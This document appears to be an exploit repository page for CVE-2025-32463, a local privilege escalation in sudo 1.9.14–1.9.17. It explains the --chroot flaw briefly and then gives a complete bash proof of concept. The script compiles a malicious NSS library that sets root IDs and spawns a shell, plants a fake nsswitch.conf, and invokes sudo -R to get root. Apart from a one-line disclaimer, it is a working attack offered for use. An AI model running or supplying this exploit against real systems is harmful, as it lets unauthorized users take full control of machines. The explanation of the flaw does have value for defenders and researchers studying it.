
Proof-of-concept exploit for CVE-2025-32463, a local privilege escalation in sudo 1.9.14-1.9.17 via chroot misconfiguration and malicious NSS library injection.
--chroot Local Privilege EscalationExploitDB ID: 52352
This repository documents a critical local privilege escalation (LPE) vulnerability affecting Sudo versions 1.9.14 – 1.9.17.
The vulnerability arises from an incorrect implementation of the sudo -R (--chroot) option and allows an attacker to execute commands with root privileges even if not authorized in the sudoers file.
🔥 Result: Unauthorized user → root shell
The --chroot (-R) parameter of sudo allows the user to execute commands under a root directory of their choice.
However, as a result of a change made in sudo 1.9.14:
sudoers file has not yet been fully validatedchroot() call is performed using the directory specified by the userThis allows an attacker, through a fake:
/etc/nsswitch.conf
file, to cause a malicious NSS library (libnss_*.so) to be loaded with root privileges.
nsswitch.conf is preparedsudo -R <dir> <command> call is made⚠️ For use only in educational and test environments
#!/bin/bash
# sudo-chwoot.sh – PoC for CVE-2025-32463
set -e
STAGE=$(mktemp -d /tmp/sudowoot.stage.XXXXXX)
cd "$STAGE"
cat > woot1337.c <<'EOF'
#include <stdlib.h>
#include <unistd.h>
__attribute__((constructor))
void woot(void) {
setreuid(0,0);
setregid(0,0);
chdir("/");
execl("/bin/bash","/bin/bash",NULL);
}
EOF
mkdir -p woot/etc libnss_
echo "passwd: /woot1337" > woot/etc/nsswitch.conf
cp /etc/group woot/etc
gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 woot1337.c
sudo -R woot woot